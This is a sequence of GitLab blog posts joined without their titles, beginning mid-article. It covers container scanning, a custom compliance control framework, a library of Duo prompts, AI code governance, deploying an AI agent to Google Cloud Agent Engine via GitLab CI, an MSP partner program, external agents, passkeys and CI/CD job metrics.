2. Click Configure with a merge request for Container Scanning.
3. Merge the resulting merge request.
4. Your next pipeline will include vulnerability scanning.

From there, layer in additional scanning types based on your security requirements and GitLab tier.

Container security isn't a one-time activity, it's an ongoing process. With GitLab's comprehensive container scanning capabilities, you can detect vulnerabilities at every stage of your container lifecycle, from build to runtime.

For more information on how GitLab can help enhance your security posture, visit the GitLab Security and Governance Solutions Page.

So we built our own.

Here's what we learned and why creating your own custom security control framework might be the right move for your compliance program.

The journey through frameworks

When I joined GitLab's Security Compliance team in November 2022, we were using the Secure Controls Framework to manage controls across our external certifications and internal compliance needs. But as our requirements grew, we realized we needed something more comprehensive.

With FedRAMP authorization on our roadmap, we chose to adopt NIST SP 800-53 next. NIST SP 800-53 includes more than 1,000 controls, but its comprehensiveness isn’t perfectly suited to GitLab’s environment.

We didn't need to implement every NIST control, only those applicable to our specific requirements. Our focus was on the quality of controls rather than quantity. Implementing unnecessary controls doesn't improve security; in fact, too many can make an environment less secure as individuals find ways to circumvent overly restrictive or irrelevant controls.

Some controls also lacked the necessary granularity for our needs. For example, NIST’s AC-2 “Account Management” control covers account creation and provisioning, account modification and disabling, account removal and termination, shared and group account management, and account monitoring and reviews.

In practice, these are at least six distinct controls with different owners, testing procedures, and risks. For attestations like SOC 2, each activity is tested as a separate control because they have different evidence requirements and operational contexts. NIST's all-encompassing AC-2 didn't match how we actually operate controls or how auditors actually assess us, and we needed controls granular enough to reflect our operational environment.

We found ourselves constantly customizing, adding, and adapting NIST controls to fit our environment. At some point, we realized we weren't really using NIST SP 800-53 anymore, we were building our own framework on top of it. We decided a custom control framework, one tailored to GitLab’s environment, would best accommodate our multi-product offering and each product’s unique compliance needs.

Building the GitLab Control Framework

Through five methodical steps, we built our own common controls framework: the GitLab Control Framework (GCF).

1. Analyze what we need

We reviewed our existing controls and mapped every requirement from external certifications we already maintained, certifications on our roadmap, and our internal compliance program:

External certifications:

• SOC 2 Type II
• ISO 27001, ISO 27017, ISO 27018, ISO 42001
• PCI DSS
• TISAX
• Cyber Essentials
• FedRAMP

Internal compliance needs:

• Controls for mission-critical systems that are not in-scope for external certifications
• Controls for systems with access to sensitive data

This gave us the baseline: what controls must exist to meet our compliance obligations.

2. Learn from industry frameworks

Next, we compared our requirements against industry-recognized frameworks:

• NIST SP 800-53
• NIST Cybersecurity Framework (CSF)
• Secure Controls Framework (SCF)
• Adobe and Cisco Common Controls Framework (CCF)

Having adopted frameworks in the past, we wanted to learn from their structure and ensure we weren't missing critical security domains, controls, or best practices.

3. Create custom control domains

Through this analysis, we created 18 custom control domains tailored to GitLab's environment:

Each domain groups related controls into logical families that align with how GitLab's security program is actually organized and operated. This structure provides a methodical approach for adding, updating, or removing controls as our needs evolve.

4. Add context and data

With our domains defined, we needed to address two critical challenges: how to represent controls across multiple products without duplicating the framework, and how to capture meaningful implementation context to actually operate and audit at scale.

Scaling across multiple products

GitLab provides multiple product offerings: GitLab.com (multi-tenant SaaS on GCP), GitLab Dedicated (single-tenant SaaS on AWS), and GitLab Dedicated for Government (GitLab’s single-tenant FedRAMP offering on AWS). Each offering has different infrastructure, compliance scopes, and audit requirements. We needed to support product-specific audits without creating entirely separate frameworks.

We designed a control hierarchy where Level 1 controls are the framework, defining what should be implemented at the organizational level. Level 2 controls are the implementation, capturing the product-specific details of how each requirement is actually fulfilled.

%%{init: { "fontFamily": "GitLab Sans" }}%%
graph TD
    accTitle: Control Hierarchy
    accDescr: Level 1 requirements cascade to Level 2 implementations.
    
    L1["Level 1: Framework<br/>What must be implemented"];
    L2A["Level 2: GitLab.com<br/>How it's implemented"];
    L2B["Level 2: Dedicated<br/>How it's implemented"];
    L2C["Level 2: Dedicated for Gov<br/>How it's implemented"];
    L2D["Level 2: Entity<br/>(inherited by all)"];
    
    L1-->L2A;
    L1-->L2B;
    L1-->L2C;
    L1-->L2D;

This separation allows us to maintain one framework with product-specific implementations, rather than managing duplicate frameworks for each offering. Entity controls apply organization-wide and are inherited by GitLab.com, GitLab Dedicated, and GitLab Dedicated for Government.

Adding context to controls

Traditional control frameworks track minimal information: a control ID, description, and owner. The GCF takes a different approach and its superpower is the extensive metadata we track for each control. Beyond just stating the control description or implementation statement, we capture:

• Control owner: Who is accountable for the control and its risk?
• Environment: Does this apply organization-wide (Entity, inherited by all product offerings), to GitLab.com, or to Dedicated?
• Assets: What specific systems does this control cover?
• Frequency: How often is the control performed or tested?
• Nature: Is it manual, semi-automated, or fully automated?
• Classification: Is this for external certifications or internal risk?
• Testing details: How do we assess it? What evidence do we collect?

This context transforms the GCF from a simple control list into an operationalized control inventory.

With this structure, we can answer questions like:

• Which controls apply to GitLab.com for our SOC 2 audit vs. GitLab Dedicated? → Filter by environment: GitLab.com
• What controls does the Infrastructure team own? → Filter by owner
• Which controls can we automate? → Filter by nature: Manual

5. Iterate, mature, and scale

The GCF isn't static and was designed to evolve with our business and compliance landscape.

Pursuing new certifications

Because we've operationalized context into the GCF, we can quickly determine the scope and gaps when pursuing new certifications (ISMAP, IRAP, C5, etc.):

1. Determine scope: Which product has the business need (GitLab.com, GitLab Dedicated, or both)?
2. Map requirements: Do existing controls already cover the new certification requirements?
3. Identify gaps: What new controls need to be created?
4. Update mappings: Link existing controls to the new certification requirements.

Adapting to new regulations

When new regulations emerge or existing requirements change:

• Review existing controls: Does an existing control already cover the new requirement?
• Update or create: Either update existing control language or create a new control.
• Apply the most stringent: When multiple certifications have similar requirements, we implement the most stringent version — secure once, comply with many.
• Map across certifications: Link the control to all relevant certification requirements.

Managing control lifecycle

The framework adapts to various changes:

• Requirement changes: When certifications update their requirements, we review impacted controls and update descriptions or mappings.
• Deprecated controls: If a requirement is removed or a control is no longer needed, we mark it as deprecated and remove it from our monitoring schedule.
• New risks identified: Risk assessments may identify gaps requiring new internal controls.

The power of common controls: One control, multiple requirements

Securing once and complying with many isn't just a principle, it has tangible benefits across how we prepare for audits, support control owners, and pursue new certifications. Here's what that looks like in practice, both qualitatively and in the numbers.

Qualitative results

Since implementing the GCF, we've seen significant improvements in how we manage compliance:

Integrated audit approach

The GCF enables us to maintain one framework with controls mapped to multiple certification requirements, instead of managing separate control sets for each audit. One control can satisfy SOC 2, ISO 27001, and PCI DSS requirements simultaneously.

Faster audit preparation

Through the GCF, we maintain one consolidated request list instead of separate lists for each audit. Because we've defined controls with specific context, our request lists say "Okta user list" instead of generic "production user list," eliminating ambiguity and interpretation. We're not collecting “N/A” evidence or leaving it up to auditors to interpret what "production" means in our environment. Everything is already scoped to our actual systems.

Reduced stakeholder burden

This integration directly reduces burden on our stakeholders. Control owners provide evidence once instead of responding to separate requests from SOC 2, ISO, and PCI auditors. When we collect evidence for access controls, it satisfies SOC 2, ISO 27001, and PCI DSS requirements simultaneously. One control, one test, one piece of evidence with multiple certifications and requirements satisfied.

Efficient gap assessments

When pursuing new certifications or launching new features, the operationalized context enables more efficient gap analysis. We can determine which controls already exist, what's missing, and what implementation is required.

Quantifiable results

Control efficiency:

• Reduced SOC controls by 58% (200 controls → 84) for GitLab.com and 55% (181 → 82) for GitLab Dedicated
• One framework now supports 8+ certifications

Audit efficiency:

• Consolidated 4 audit request lists into 1, reducing requests by 44% (415 → 231)
• 95% evidence acceptance rate before fieldwork for recent PCI audits

Framework scale:

• 220+ active controls across 18 custom domains
• Mapped to 1,300+ certification requirements
• Supports multiple product offerings

The path forward

The GCF continues to evolve as we add security and AI controls, pursue new certifications, and refine our approach.

For security compliance practitioners: Don't be afraid to build your own framework if industry standards don't fit. The upfront investment pays dividends in scalability, efficiency, and controls that actually make sense for your environment. Sometimes the best framework is the one you design yourself.

If you found this helpful, check out our complete GitLab Control Framework documentation, where we detail our framework methodology, control domains, and field structures.

Because coding is only 20% of the software delivery lifecycle, the remaining 80% becomes the bottleneck: code review backlogs grow, security scanning can’t keep pace, documentation falls behind, and manual coordination overhead increases.

The good news is that the same AI capabilities that accelerate individual coding can eliminate these team-level delays. You just need to apply AI across your entire software lifecycle, not only during the coding phase.

Below are 10 ready-to-use prompts from the GitLab Duo Agent Platform Prompt Library that help teams overcome common obstacles to faster software delivery. Each prompt addresses a specific slowdown that emerges when individual productivity increases without corresponding improvements in team processes.

How do you move code review from bottleneck to accelerator?

Developers generate merge requests faster with AI assistance, but human reviewers can quickly become overwhelmed as code review cycles stretch from hours to days. AI can handle routine review tasks, freeing reviewers to focus on architecture and business logic instead of catching basic logical errors and API contract violations.

Review MR for logical errors

Complexity: Beginner

Category: Code Review

Prompt from library:

Review this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]

Why it helps: Automated linters catch syntax issues, but logical errors require understanding intent. This prompt catches bugs before human reviewers even look at the code, reducing review cycles from multiple rounds to often just one approval.

Identify breaking changes in MR

Complexity: Beginner

Category: Code Review

Prompt from library:

Does this MR introduce any breaking changes?

Changes:
[PASTE CODE DIFF]

Check for:
1. API signature changes
2. Removed or renamed public methods
3. Changed return types
4. Modified database schemas
5. Breaking configuration changes

Why it helps: Breaking changes discovered during deployment can cause rollbacks and incidents. This prompt shifts that discovery left to the MR stage, when fixes are faster and less expensive.

How can you shift security left without slowing down?

Security scans generate hundreds of findings. Security teams manually triage each one while developers wait for approval to deploy. Most findings are false positives or low-risk issues, but identifying the real threats requires expertise and time. AI can prioritize findings by actual exploitability and auto-remediate common vulnerabilities, allowing security teams to focus on the threats that matter.

Analyze security scan results

Complexity: Intermediate

Category: Security

Agent: Duo Security Analyst

Prompt from library:

@security_analyst Analyze these security scan results:

[PASTE SCAN OUTPUT]

For each finding:
1. Assess real risk vs false positive
2. Explain the vulnerability
3. Suggest remediation
4. Prioritize by severity

Why it helps: Most security scan findings are false positives or low-risk issues. This prompt helps security teams focus on the findings that actually matter, reducing remediation time from weeks to days.

Review code for security issues

Complexity: Intermediate

Category: Security

Agent: Duo Security Analyst

Prompt from library:

@security_analyst Review this code for security issues:

[PASTE CODE]

Check for:
1. Injection vulnerabilities
2. Authentication/authorization flaws
3. Data exposure risks
4. Insecure dependencies
5. Cryptographic issues

Why it helps: Traditional security reviews happen after code is written. This prompt enables developers to find and fix security issues before creating an MR, eliminating the back and forth that delays deployments.

How do you keep documentation current as code changes?

Code changes faster than documentation. Onboarding new developers takes weeks because docs are outdated or missing. Teams know documentation is important, but it always gets deferred when deadlines approach. Automating documentation generation and updates as part of your standard workflow ensures docs stay current without adding manual work.

Generate release notes from MRs

Complexity: Beginner

Category: Documentation

Prompt from library:

Generate release notes for these merged MRs:
[LIST MR URLs or paste titles]

Group by:
1. New features
2. Bug fixes
3. Performance improvements
4. Breaking changes
5. Deprecations

Why it helps: Manual release note compilation takes hours and often includes errors or omissions. Automated generation ensures every release has comprehensive notes without adding work to your release process.

Update documentation after code changes

Complexity: Beginner

Category: Documentation

Prompt from library:

I changed this code:

[PASTE CODE CHANGES]

What documentation needs updating? Check:
1. README files
2. API documentation
3. Architecture diagrams
4. Onboarding guides

Why it helps: Documentation drift happens because teams forget which docs need updates after code changes. This prompt makes documentation maintenance part of your development workflow, not a separate task that gets deferred.

How do you break down planning complexity?

Large features get stuck in planning. Teams spend weeks in meetings trying to scope work and identify dependencies. The complexity feels overwhelming, and it's hard to know where to start. AI can systematically decompose complex work into concrete, implementable tasks with clear dependencies and acceptance criteria, transforming weeks of planning into focused implementation.

Break down epic into issues

Complexity: Intermediate

Category: Documentation

Agent: Duo Planner

Prompt from library:

Break down this epic into implementable issues:

[EPIC DESCRIPTION]

Consider:
1. Technical dependencies
2. Reasonable issue sizes
3. Clear acceptance criteria
4. Logical implementation order

Why it helps: This prompt transforms a week of planning meetings into 30 minutes of AI-assisted decomposition followed by team review. Teams start implementation sooner with clearer direction.

How can you expand test coverage without expanding effort?

Developers are writing code faster, but if testing doesn't keep pace, test coverage decreases and bugs slip through. Writing comprehensive tests manually is time-consuming, and developers often miss edge cases under deadline pressure. Generating tests automatically means developers can review and refine rather than write from scratch, maintaining quality without sacrificing velocity.

Generate unit tests

Complexity: Beginner

Category: Testing

Prompt from library:

Generate unit tests for this function:

[PASTE FUNCTION]

Include tests for:
1. Happy path
2. Edge cases
3. Error conditions
4. Boundary values
5. Invalid inputs

Why it helps: Writing tests manually is time consuming, and developers often miss edge cases. This prompt generates thorough test suites in seconds, which developers can review and adjust rather than write from scratch.

Review test coverage gaps

Complexity: Beginner

Category: Testing

Prompt from library:

Analyze test coverage for [MODULE/COMPONENT]:

Current coverage: [PERCENTAGE]

Identify:
1. Untested functions/methods
2. Uncovered edge cases
3. Missing error scenario tests
4. Integration points without tests
5. Priority areas to test next

Why it helps: This prompt reveals blind spots in your test suite before they cause production incidents. Teams can systematically improve coverage where it matters most.

How do you reduce mean time to resolution when debugging?

Production incidents take hours to diagnose. Developers wade through logs and stack traces while customers experience downtime. Every minute of debugging is a minute of lost productivity and potential revenue. AI can accelerate root cause analysis by parsing complex error messages and suggesting specific fixes, cutting diagnostic time from hours to minutes.

Debug failing pipeline

Complexity: Beginner

Category: Debugging

Prompt from library:

This pipeline is failing:

Job: [JOB NAME]
Stage: [STAGE]
Error: [PASTE ERROR MESSAGE/LOG]

Help me:
1. Identify the root cause
2. Suggest a fix
3. Explain why it started failing
4. Prevent similar issues

Why it helps: CI/CD failures block entire teams. This prompt diagnoses failures in seconds instead of the 15-30 minutes developers typically spend investigating, keeping deployment velocity high.

Moving from individual gains to team acceleration

These prompts represent a shift in how teams apply AI to software delivery. Rather than focusing solely on individual developer productivity, they address the coordination, quality, and knowledge-sharing challenges that actually constrain team velocity.

The complete prompt library contains more than 100 prompts across all stages of the software lifecycle: planning, development, security, testing, deployment, and operations. Each prompt is tagged by complexity level (Beginner, Intermediate, Advanced) and categorized by use case, making it easy to find the right starting point for your team.

Start with prompts tagged “Beginner” that address your team’s most pressing obstacles. As your team builds confidence, explore intermediate and advanced prompts that enable more sophisticated workflows. The goal is not just faster coding — it's faster, safer, higher-quality software delivery from planning through production.

If security only meant scanning code, the answer might be yes. But enterprise security has never been about detection alone.

Organizations are not asking whether AI can find vulnerabilities. They are asking three much harder questions:

• Is what we are about to ship safe?
• Has our risk posture changed as environments evolve and dependencies, third-party services, tools, and infrastructure continuously shift?
• How do we govern a codebase that is increasingly assembled by AI and third-party sources, and that we are still accountable for?

Those questions require a platform answer: Detection surfaces risk, but governance determines what happens next.

GitLab is the orchestration layer built to govern the software lifecycle end-to-end. It gives teams the enforcement, visibility, and auditability they need to keep pace with the speed of AI-assisted development.

Trusting AI requires governing risk

AI systems are rapidly getting better at identifying vulnerabilities and suggesting fixes. This is a meaningful and welcome advancement, but analysis is not accountability.

AI cannot enforce company policy or define acceptable risk on its own. Humans must set the boundaries, policies, and guardrails that agents operate within, establishing separation of duties, ensuring audit trails, and maintaining consistent controls across thousands of repositories and teams. Trust in agents comes not from autonomy alone, but from clearly defined governance set by people.

In an agentic world, where software is increasingly written and modified by autonomous systems, governance becomes more important, not less. The more autonomy organizations grant to AI, the stronger the governance must be.

Governance is not friction. It is the foundation that makes AI-assisted development trustworthy at scale.

LLMs see code, but platforms see context

A large language model (LLM) evaluates code in isolation. An enterprise application security platform understands context. This difference matters because risk decisions are contextual:

• Who authored the change?
• How critical is the application to the business?
• How does it interact with infrastructure and dependencies?
• Does the vulnerability exist in code that is actually reachable in production, or is it buried in a dependency that never executes?
• Is it actually exploitable in production, given how the application runs, its APIs, and the environment around it?

Security decisions depend on this context. Without it, detection produces noisy alerts that slow down development rather than reducing risk. With it, organizations can triage quickly and manage risk effectively. Context evolves continuously as software changes, which means governance cannot be a one-time decision.

Static scans can’t keep up with dynamic risk

Software risk is dynamic. Dependencies change, environments evolve, and systems interact in ways no single analysis can fully predict. A clean scan at one moment does not guarantee safety at release.

Enterprise security depends on continuous assurance: controls embedded directly into development workflows that evaluate risk as software is built, tested, and deployed.

Detection provides insight. Governance provides trust. Continuous governance is what allows organizations to ship safely at scale.

Governing the agentic future

AI is reshaping how software is created. The question is no longer whether teams will use AI, but how safely they can scale it.

Software today is assembled as much as it is written, from AI-generated code, open-source libraries, and third-party dependencies that span thousands of projects. Governing what ships across all of those sources is the hardest and most consequential part of application security, and it is the part that no developer-side tool is built to address.

As an intelligent orchestration platform, GitLab is built to address this problem. GitLab Ultimate embeds governance, policy enforcement, security scanning, and auditability directly into the workflows where software is planned, built, and shipped, so security teams can govern at the speed of AI.

AI will accelerate development dramatically. The organizations that benefit most from AI will not be those with the smartest assistants alone, but those that build trust through strong governance.

To learn how GitLab helps organizations govern and ship AI-generated code safely, talk to our team today

Related reading

• Integrating AI with DevOps for enhanced security
• The GitLab AI Security Framework for security leaders
• Improve AI security in GitLab with composite identities

What is Agent Engine and why does it matter?

Agent Engine is Google Cloud's managed runtime specifically designed for AI agents. Think of it as the production home for your agents — where they live, run, and scale without you having to manage the underlying infrastructure. Agent Engine handles infrastructure, scaling, session management, and memory storage so you can focus on building your agent — not managing servers. It also integrates natively with Google Cloud's logging, monitoring, and IAM.

Why use GitLab to deploy to Agent Engine?

AI agent deployment is typically difficult to configure correctly. Security considerations, CI/CD orchestration, and cloud permissions create friction that slows down development cycles.

GitLab streamlines this entire process while enhancing security:

• Built-in security scanning — Every deployment is automatically scanned for vulnerabilities without additional configuration.
• Native Google Cloud integration — Workload Identity Federation eliminates the need for service account keys.
• Simplified CI/CD — GitLab's templates handle complex deployment logic.

Prerequisites

Before you begin, ensure you have:

• A Google Cloud project with the following APIs enabled:
  • Cloud Storage API
  • Vertex AI API
• A GitLab project for your source code and CI/CD pipeline
• A Google Cloud Storage bucket for staging deployments
• Google Cloud IAM integration configured in GitLab (see Step 1)

Here are the steps to follow.

1. Configure IAM integration

The foundation of secure deployment is proper IAM configuration between GitLab and Google Cloud using Workload Identity Federation.

In your GitLab project:

1. Navigate to Settings > Integrations.
2. Locate the Google Cloud IAM integration.
3. Provide the following information:
   • Project ID: Your Google Cloud project ID
   • Project Number: Found in your Google Cloud console
   • Workload Identity Pool ID: A unique identifier for your identity pool
   • Provider ID: A unique identifier for your identity provider

GitLab generates a script for you. Copy and run this script in Google Cloud Shell to establish the Workload Identity Federation between platforms.

Important: Add these additional roles to your service principal for Agent Engine deployment:

• roles/aiplatform.user
• roles/storage.objectAdmin

You can add these roles using gcloud commands:

GCP_PROJECT_ID="<your-project-id>"
GCP_PROJECT_NUMBER="<your-project-number>"
GCP_WORKLOAD_IDENTITY_POOL="<your-pool-id>"

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/aiplatform.user'

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member="principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true" \
  --role='roles/storage.objectAdmin'

2. Create the CI/CD pipeline

Now for the core of the deployment — the CI/CD pipeline. Create a .gitlab-ci.yml file in your project root:

stages:
  - test
  - deploy

cache:
  paths:
    - .cache/pip
  key: ${CI_COMMIT_REF_SLUG}

variables:
  GCP_PROJECT_ID: "<your-project-id>"
  GCP_REGION: "us-central1"
  STORAGE_BUCKET: "<your-staging-bucket>"
  AGENT_NAME: "Canada City Advisor"
  AGENT_ENTRY: "canada_city_advisor"

image: google/cloud-sdk:slim

# Security scanning templates
include:
  - template: Jobs/Dependency-Scanning.gitlab-ci.yml
  - template: Jobs/SAST.gitlab-ci.yml
  - template: Jobs/Secret-Detection.gitlab-ci.yml

deploy-agent:
  stage: deploy
  identity: google_cloud
  rules:
    - if: $CI_COMMIT_BRANCH == "main"
  before_script:
    - gcloud config set core/disable_usage_reporting true
    - gcloud config set component_manager/disable_update_check true
    - pip install -q --no-cache-dir --upgrade pip google-genai google-cloud-aiplatform -r requirements.txt --break-system-packages
  script:
    - gcloud config set project $GCP_PROJECT_ID
    - adk deploy agent_engine 
        --project=$GCP_PROJECT_ID 
        --region=$GCP_REGION 
        --staging_bucket=gs://$STORAGE_BUCKET 
        --display_name="$AGENT_NAME" 
        $AGENT_ENTRY

The pipeline consists of two stages:

Test stage — GitLab's security scanners run automatically. The included templates provide dependency scanning, static application security testing (SAST), and secret detection without additional configuration.

Deploy stage — Uses the ADK CLI to deploy your agent directly to Agent Engine. The staging bucket temporarily holds your application workload before Agent Engine picks it up for deployment.

Key configuration notes

• The identity: google_cloud directive enables keyless authentication via Workload Identity Federation.
• Security scanners are included as templates, meaning they run by default with no setup required.
• The adk deploy agent_engine command handles all the complexity of packaging and deploying your agent.
• Pipeline caching speeds up subsequent deployments by preserving pip dependencies.

3. Deploy and verify

With your pipeline configured:

1. Commit your agent code and .gitlab-ci.yml to GitLab.
2. Navigate to Build > Pipelines to monitor execution.
3. Watch the test stage complete security scans.
4. Observe the deploy stage push your agent to Agent Engine.

Once the pipeline succeeds, verify your deployment in the Google Cloud Console:

1. Navigate to Vertex AI > Agent Engine.
2. Locate your deployed agent.
3. Note the resource name — you'll need this for testing.

4. Test your deployed agent

Test your agent using a curl command. You'll need three pieces of information:

• Agent ID: From the Agent Engine console (the resource name's numeric identifier)
• Project ID: Your Google Cloud project
• Location: The region where you deployed (e.g., us-central1)

PROJECT_ID="<your-project-id>"
LOCATION="us-central1"
AGENT_ID="<your-agent-id>"
TOKEN=$(gcloud auth print-access-token)

curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines/${AGENT_ID}:streamQuery" \
  -d '{
    "input": {
      "message": "I make $85,000 per year and I prefer cities with mild winters and a vibrant cultural scene. I also want to be near the coast if possible. What Canadian cities would you recommend?",
      "user_id": "demo-user"
    }
  }' | jq -r '.content.parts[0].text'

If everything is configured correctly, your agent will respond with personalized city recommendations based on the budget and lifestyle preferences provided.

Security benefits of this approach

This deployment pattern provides several security advantages:

• No long-lived credentials: Workload Identity Federation eliminates service account keys entirely.
• Automated vulnerability scanning: Every deployment is scanned before reaching production.
• Complete audit trail: GitLab maintains full visibility of who deployed what and when.
• Principle of least privilege: Fine-grained IAM roles limit access to only what's needed.

Summary

Deploying AI agents to production doesn't have to be complex. By combining GitLab's DevSecOps platform with Google Cloud's Agent Engine, you get:

• A managed runtime that handles scaling and infrastructure
• Built-in security scanning without additional tooling
• Keyless authentication via native cloud integration
• A streamlined deployment process that fits modern AI development workflows

Watch the full demo:

Ready to try it yourself? Use this tutorial's complete code example to get started now. Not a GitLab customer yet? Explore the DevSecOps platform with a free trial.

Many organizations know they need a modern DevSecOps platform. What they often don't have is the bandwidth to deploy, manage, and continuously optimize one while shipping software at the pace the business demands. That's a real opportunity for MSPs, and now GitLab has a defined program to support them.

We're excited to introduce the GitLab MSP Partner Program, a new global program that enables qualified MSPs to deliver GitLab as a fully managed service to their customers.

Why this matters for partners and customers

For the first time, GitLab has a formally defined, globally available program built specifically for MSPs. This means clear requirements, structured enablement, dedicated support, and real financial benefits, so partners can confidently invest in building a GitLab managed services practice.

The timing is right. Organizations are accelerating their DevSecOps journeys, but many are navigating complex migrations, sprawling toolchains, and growing security requirements on top of their core work of building and shipping software.

GitLab MSP partners handle the operational side of running the platform, including deployment, migration, administration, and ongoing support, so development teams can stay focused on what they do best.

What MSP partners get

Financial benefits: MSP partners earn GitLab partner margins plus an additional MSP premium on all transactions, new business, and renewals. You also retain 100% of the service fees you charge customers for deployment, migration, training, enablement, and strategic consulting. That's multiple recurring revenue streams built around a single platform.

Enablement and education: Partners have access to quarterly technical bootcamps covering version updates, new features, best practices, ongoing roadmap updates, and peer sharing. Recommended cloud certifications (AWS Solutions Architect Associate, GCP Associate Cloud Engineer) round out the technical foundation.

Go-to-market support: MSPs receive a GitLab Certified MSP Partner badge, co-brandable assets, eligibility for joint customer case studies, a Partner Locator listing, and access to Marketing Development Funds (MDF) for qualified demand generation activities.

What customers can expect

Customers working with a GitLab MSP partner get a structured, managed DevSecOps experience, documented and repeatable implementation methodologies, regular business reviews, and support with clearly defined response and escalation paths.

The result: Development teams can stay focused on building great software while their MSP partner focuses on running and optimizing the platform.

A new opportunity around AI

Organizations are increasingly looking to safely introduce AI into their software development workflows, and even experienced teams can benefit from a structured approach to rolling it out at scale. GitLab MSP partners are well-positioned to guide customers through GitLab Duo Agent Platform as part of a broader managed services offering.

By combining GitLab's DevSecOps platform with MSP-delivered operational expertise, customers can experiment with AI-assisted workflows in a governed environment, meet data residency and compliance requirements, and scale AI adoption across teams without overburdening internal resources.

Is this right for your business?

The GitLab MSP Partner Program is a strong fit if you:

• Already deliver managed services in cloud, infrastructure, or application operations
• Want to add high-value DevSecOps to your portfolio
• Have or want to build technical talent interested in modern development platforms
• Prefer long-term customer relationships over one-time transactions

If you're already a GitLab Select and Professional Services Partner, the MSP program gives you a structured way to turn your existing expertise into a repeatable managed offering.

Getting started

The program launches with the Certified MSP Partner designation. There's no minimum ARR or customer count required to join. Here's how the path looks:

1. Confirm fit - Verify you meet the business and technical requirements outlined in the handbook page.
2. Apply via the GitLab Partner Portal - Submit your application with business and technical documentation.
3. Complete 90-day onboarding - A structured onboarding journey covers contracts, technical enablement, sales training, and your first customer engagement.
4. Launch your managed offering - Package your services, set your SLAs, and begin engaging customers.

Completed applications are reviewed within approximately three business days.

Interested in building a GitLab managed services practice? New partners can apply to become a GitLab Partner. Existing partners can reach out to your GitLab representative to learn more about the program and tell us about the solutions you're currently offering customers through your MSP practice!

While AI coding assistants have accelerated individual developer productivity, they often operate in isolation from the broader development workflow. This disconnect forces developers to context-switch between tools, manually translate AI suggestions into actionable code, and spend valuable time on repetitive tasks that could be automated.

GitLab Duo Agent Platform solves this problem by enabling seamless integration with external AI models like Anthropic's Claude, OpenAI's Codex, and others.

By creating external agents within GitLab Duo Agent Platform, organizations can customize AI capabilities for their specific needs, workflows, and standards while keeping everything within the familiar GitLab environment. These agents understand your project context, follow your coding standards, and can autonomously complete complex, multi-step tasks — from initial idea to production-ready code.

Watch this video demonstration and follow along below:

Real-world use cases

Here are three powerful use cases that illustrate how external agents transform the development lifecycle:

1. From idea to code

Starting with nothing more than an empty project and a detailed issue description, the external agent (in this case, Claude) takes complete ownership of application development. In this use case, the issue title is the desired application and the issue description lists its specifications.

The agent reads the context, e.g. project information, related assets, etc., and analyzes the requirements detailed in the issue, generates a full-stack Java web application with appropriate UI components, implements the business logic with specified interest rates, and creates a merge request with all the code ready for review.

The generated application includes backend Java classes, frontend HTML/CSS/JavaScript files, and build configuration — all following the specifications in the original issue. Teams can then test the application locally, verify functionality, and continue iterating with the agent through natural conversation.

2. Code review

Quality assurance doesn't stop at code generation. In the second use case, the same external agent performs a comprehensive code review of the application it created. By mentioning the agent in a merge request comment, teams receive detailed analysis including code strengths, critical issues, medium-priority concerns, minor improvements, security assessments, testing notes, code metrics, and recommendations with an approval status. This automated review process ensures consistency and catches potential issues before they reach production, while freeing up senior developers to focus on architectural decisions rather than routine code inspection.

3. Create pipeline to build container image

The final use case addresses a common gap: deployment automation. When the merge request lacks a CI/CD pipeline, teams can simply ask the external agent to create one. The agent generates a complete pipeline configuration that builds the application, creates a Dockerfile using appropriate base images matched to the project's Java version, builds a Docker image, and deploys it to GitLab's built-in container registry. The pipeline runs automatically, proceeding through build, Docker image creation, and registry deployment stages — all without manual configuration or intervention.

Summary

GitLab Duo Agent Platform with external agents represents a fundamental shift in how organizations approach software development. By addressing the core problem of isolated AI tools and fragmented workflows, external agents bring intelligent automation directly into the platforms teams already use. Rather than treating AI as a separate coding assistant, Duo Agent Platform integrates external models like Claude seamlessly into your GitLab workflow, enabling agents to understand full project context, adhere to organizational standards, and autonomously handle complex tasks across the entire development lifecycle.

The value proposition is clear: Development teams accelerate delivery timelines, maintain consistent code quality, reduce repetitive work, and free up senior engineers to focus on innovation rather than routine tasks. From generating production-ready code based on issue descriptions to performing thorough code reviews and automating deployment pipelines, external agents become trusted collaborators that understand your organization's unique needs and standards.

Discover how your team can ship faster, maintain higher quality, and stay in flow throughout the entire software development lifecycle. Try GitLab Duo Agent Platform today. Then, dig into our "Getting started with GitLab Duo Agent Platform" guide.

To register a passkey to your account, go to your profile settings and select Account > Manage authentication.

Passkeys use WebAuthn technology and public-key cryptography made up of both a private and public key. Your private key stays securely on your device and never leaves, while your public key is stored on GitLab. Even if GitLab were to become compromised, attackers cannot use your stored credentials to access your account. Passkeys work across desktop browsers (Chrome, Firefox, Safari, Edge), mobile devices (iOS 16+, Android 9+), and FIDO2 hardware security keys, allowing you to register multiple passkeys across your devices for convenient access.

GitLab signed the CISA Secure by Design Pledge, committing to improve our security posture and help customers develop secure software faster. One key objective of the pledge is to increase the use of multi-factor authentication (MFA) across the manufacturer’s products. Passkeys are an integral part of this goal, and provide a seamless, phishing-resistant MFA method that makes signing in to GitLab both more secure and more convenient.

If you have questions, want to share your experience, or would like to engage directly with our team about potential improvements, see the feedback issue.

Two new GitLab features currently in beta tackle this from different angles but share the same goal: giving practitioners direct control over the CI/CD infrastructure they depend on, without adding another third-party tool. One surfaces job-level performance data right where you monitor pipelines. The other simplifies how you pull container images from multiple registries with built-in caching.

Both features are open for feedback now. Your input will help shape what ships next.

CI/CD Job Performance Metrics

• Available tiers: GitLab Premium, GitLab Ultimate
• Status: Limited-availability beta on GitLab.com; available on GitLab Self-Managed and GitLab Dedicated when ClickHouse is configured

Today, there’s no simple way to see when a particular job’s duration starts increasing or which jobs are quietly dragging down your pipeline runtimes. Most teams either build custom dashboards or manually dig through logs to answer basic questions like:

• Which jobs are slowest?
• Where are failure rates climbing?
• Which stage is the real bottleneck?

